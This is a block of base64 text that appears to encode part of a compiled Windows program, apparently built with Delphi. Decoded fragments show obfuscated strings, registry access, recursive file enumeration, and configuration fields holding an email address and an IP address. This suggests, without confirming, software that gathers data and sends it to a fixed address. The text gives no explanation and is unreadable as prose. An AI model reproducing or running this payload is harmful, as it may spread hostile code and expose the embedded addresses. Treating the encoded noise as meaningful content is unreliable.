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
TZwz0rjQcEEA6Jzw//+LTZyNRaCLFfTuQQDoT8j+/4tFoDPJM9Lof+///4N99AB1D41N9DPS
uORwQQDoavD//2oB/3X0aBRxQQCNVZSLRfDozQT///91lI1FmLoDAAAA6H3I/v+LRZjoecn+
/1Dop+3+/zPAWllZZIkQaJdvQQCNRZS6GwAAAOhdxf7/w+nLv/7/6+tbi+Vdw/////8BAAAA
MQAAAP////8DAAAARkQ3AP////8BAAAALgAAAP////8BAAAAXAAAAP////8EAAAARkIxQgAA
AAD/////AQAAADUAAAD/////BQAAAEZCMUJCAAAA/////wEAAAA5AAAA/////wUAAABGQjFC
QQAAAP////8DAAAAb39tAP////80AAAAjqefrrKZq5+XhaKdraesqaGslZGkpp2psquVfbCq
q5+prI+frauiqamUeqqrWImbr6CslgAAAAD/////AwAAAG52awD/////DAAAAGp5f2mCgnVA
eIh2bgAAAAD/////DAAAAGp/g3ZjcXVAeIh2bgAAAAD/////AwAAAIJzewD/////CgAAAFaG
cnV9PHSIdmoAAP////8DAAAAhHB4AP////8LAAAAiXh+i3t/PnaKdGwA/////yYAAACfn5mQ
mZZeXluPo5FNnZORmZZeXluOl5hZeZuRm2uei3+fmXB5dgAA/////wEAAAAgAAAAVYvsgcSo
/v//U4lF/ItF/Oirx/7/M8BVaLJxQQBk/zBkiSCLVfyNhaj+///ozdz+/6Ew3EEAxgAAugEA
AACNhaj+///orN/+/+j2tP7/M9uNRfRQjVX7uQEAAACNhaj+///oOd3+/+jYtP7/Q4N99AB1
3Y2FqP7//+jq3f7/6MG0/v9LM8BaWVlkiRBouXFBAI1F/OgXw/7/w+mpvf7/6/CLw1uL5V3D
VYvsg8TsUzPbiV3siV3wiU30iVX4iUX8i0X86PjG/v+LRfjo8Mb+/4tF9Ojoxv7/i0UU6ODG
/v+LRRDo2Mb+/4tFDOjQxv7/M8BVaNJyQQBk/zBkiSCNRfC67HJBAOg9w/7/jUXwuvxyQQDo
MMP+/41F8Lpkc0EA6CPD/v+NRfC6eHNBAOgWw/7/swGAfQgAdCaNRexQuQIAAAC64HNBAItF
+Oi09///i0XsuuxzQQDov8X+/w+Vw4TbdC6LRRRQaOxzQQCLRRBQi0UMUItF/OiD/v//UGoB
ikUIUItN9ItV+ItF/OjO8f//M8BaWVlkiRBo2XJBAI1F7LoFAAAA6CjC/v+NRQy6AwAAAOgb
wv7/w+mJvP7/696Lw1uL5V3CEAAAAP////8FAAAARkEyc2MAAAD/////XAAAAEZBNWNodW5A
cmFvbmV0LmNvbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAP////8LAAAARkE4MTM3MjE2ICAA
/////1wAAABGQTkxNjguMTg4LjQ0LjIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAD/////
AQAAADIAAAD/////AgAAAHNjAABVi+yBxPj+//8zwImF+P7//4lF/DPAVWihdEEAZP8wZIkg
i0UI/0D8jZX8/v//i0UIi0D86EO1/v+Nlfz+//+NRfzotcL+/4tFCP9w+P91/I2N+P7//zPS
uLR0QQDoWuv///+1+P7//41F/LoDAAAA6H/D/v+LRQiLQPSLVfyLCP9RZLoCAAAAi0X86Dj9
/v8zwFpZWWSJEGiodEEAjYX4/v//6DDA/v+NRfzoKMD+/8Ppurr+/+vli+Vdw/////8EAAAA
OWx1dgAAAABVi+yBxKj2//9TVjPSiZWo9v//iZWs9v//i/C73O5BADPAVWifdUEAZP8wZIkg
i8Po17/+/42NrPb//4vWoRTvQQCLMP9WDIuVrPb//42FsP7//+gC2f7/ugEAAACNhbD+///o
6dv+/+gzsf7/jUX8UI2VsPb//7kACAAAjYWw/v//6HXZ/v/oFLH+/42FqPb//42VsPb//7kA
CAAA6FLA/v+Llaj2//+Lw+jBwf7/g338AHW4jYWw/v//6ATa/v/o27D+/zPAWllZZIkQaKZ1
QQCNhaj2//+6AgAAAOhOv/7/w+m8uf7/6+heW4vlXcNVi+wzyVFRUVFRU1ZXM8BVaJV3QQBk
/zBkiSCLFdzuQQC4rHdBAOjdw/7/i/iF/w+OkQEAAI1F+Ojfvv7/jUX06Ne+/v+NRfxQi9eD
6hK5MgAAAKHc7kEA6CPD/v+LVfy4rHdBAOiew/7/i/BOg/4BflqLRfyKXDD/i8MEnywaciaL
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
+AAPhZIAAABVagGNRby5rINBAItV9Ohltv7/i1W8uQEAAACLRfDobfv//1lVagONRbi5uINB
AItV9OhBtv7/i1W4uQIAAACLRfDoSfv//1lVagSNRbS5xINBAItV9Ogdtv7/i1W0uQQAAACL
RfDoJfv//1lVagSNRbC50INBAItV9Oj5tf7/i1WwuQQAAACh4O5BAOj/+v//WYN9+AB0E4tF
+Lrcg0EA6Je2/v8PhaQAAABqAGoAjUWoUI1NpDPSuOiDQQDo8t3//4tFpDPJM9Lo5tz//4tF
qI1VrOjn8f7/i1WsuPTuQQDoPrP+/4M99O5BAAB1Erj07kEAixXo7kEA6CWz/v/rG6H07kEA
6CG1/v+L2Lj07kEA6OW2/v/GRBj/IFVqCY1VoKH07kEA6Mjs/v+LRaBQjUWcuRyEQQCLVfTo
OLX+/4tVnLkJAAAAWOhC+v//WYN9+AB0D4tF+LoohEEA6Nq1/v91KlVqBWoHjUWYuTSEQQCL
VfTo/7T+/4tFmIsN5O5BAIsV4O5BAOgX+///WaEU70EA6Eyp/v+hGO9BAOhCqf7/jUX8ixUM
fEEA6ATD/v8zwFpZWWSJEGjYgkEAjUWYuhkAAADoKrL+/41F/IsVDHxBAOjcwv7/w+mKrP7/
691bi+VdwwAAAP////8BAAAANQAAAP////8DAAAARkQzAP////8FAAAAf3F5NToAAAD/////
BQAAAHNufjU6AAAA/////wUAAAB0eH41OgAAAP////8FAAAANjdyf3kAAAD/////BQAAADY3
bnpvAAAA/////wUAAAA2N4J3fwAAAP////8FAAAANjeEdHwAAAD/////BQAAADY3b4NxAAAA
/////wUAAAA2N4FsbgAAAP////8FAAAAT2ptc3EAAAD/////AwAAAGZ6awD/////AQAAAHkA
AAD/////AQAAAGgAAAD/////AQAAAGkAAAD/////AQAAAHQAAAD/////AQAAADEAAAD/////
KgAAAISdlaSoj6GVjXuYk6Odop+XoouHcnCLh3JwY4yIj5FQd5eblVF8kJ2WigAA/////wEA
AAB3AAAA/////wEAAAAyAAAA/////wEAAABkAAAAVYvsgcQs/v//iVX4iUX8i0X86Im0/v+L
RfjogbT+/zPAVWi3hEEAZP8wZIkgi1X8jYUs/v//6KPJ/v+NhSz+///oh8v+/4tV+I2FLP7/
/+jUtf7/6H7N/v+NhSz+///o5Mr+/zPAWllZZIkQaL6EQQCNRfi6AgAAAOg2sP7/w+mkqv7/
6+uL5V3Di8BVi+y5mgEAAGoAagBJdflTVovYM8BVaMmHQQBk/zBkiSDHRfSADAAAjUX8UFNq
AGoAagLoONj+/4XAD4WPAgAAx0X4ZAAAAI1F9FCNhXDz//9QjUX4UItF/FDoCdj+/4t1+IX2
D45lAgAAjZ188///iwOD4AKD+AJ1EotFCFCNQ/Toev///1npOQIAAItD+IPgAYP4AQ+FKgIA
AI1F8ItTCOgWsf7/jY1s8///M9K44IdBAOgw2v//i5Vs8///uPTuQQDokK/+/42FZPP//4sV
6O5BAIoSiFABxgABjZVk8///jYVg8///6Jei/v+6+IdBAI2FYPP//7EC6FWi/v+NlWDz//+N
hWjz///oGLH+/42FaPP//4sV9O5BAOhHsf7/i4Vo8///UI2FXPP//4sN9O5BAItV8Ohwsf7/
i5Vc8///sQFY6Grb//+EwA+EcwEAAI2NVPP//zPSuASIQQDohNn//4uNVPP//42FWPP//4tV
8Og0sf7/i4VY8///UI2FUPP//4sN9O5BALociEEA6Bex/v+LlVDz//9Y6NP9//+NjUzz//8z
0rgsiEEA6DXZ//+LlUzz//+49O5BAOiVrv7//3Xw/zX07kEAjY1E8///M9K4RIhBAOgK2f//
/7VE8///jYVI8///ugMAAADoLLH+/4uFSPP//1D/dfD/NfTuQQCNjTzz//8z0rhUiEEA6NLY
////tTzz//+NhUDz//+6AwAAAOj0sP7/i4VA8///sQFa6Hra////dfD/NfTuQQCNjTjz//8z
0rhUiEEA6JPY////tTjz//+49O5BALoDAAAA6Law/v+h9O5BAOiwsf7/UOgW1P7/jYU08///
ixXo7kEAihLoH6/+/42FNPP//1CNjTDz//8z0rhoiEEA6ELY//+LlTDz//9Y6Lav/v+LhTTz
//8zyYsV9O5BAOjv2f//g8MgTg+Fof3//zPAWllZZIkQaNCHQQCNhTDz//+6DAAAAOg8rf7/
jYVo8///ugIAAADoLK3+/41F8OgArf7/w+mSp/7/69BeW4vlXcMAAP////8UAAAAd4p+fZR7
hX9/dGyDjVtMTEl9kX8AAAAAAToAAP////8NAAAAcHKHh4N2inh3P3R0iAAAAP////8FAAAA
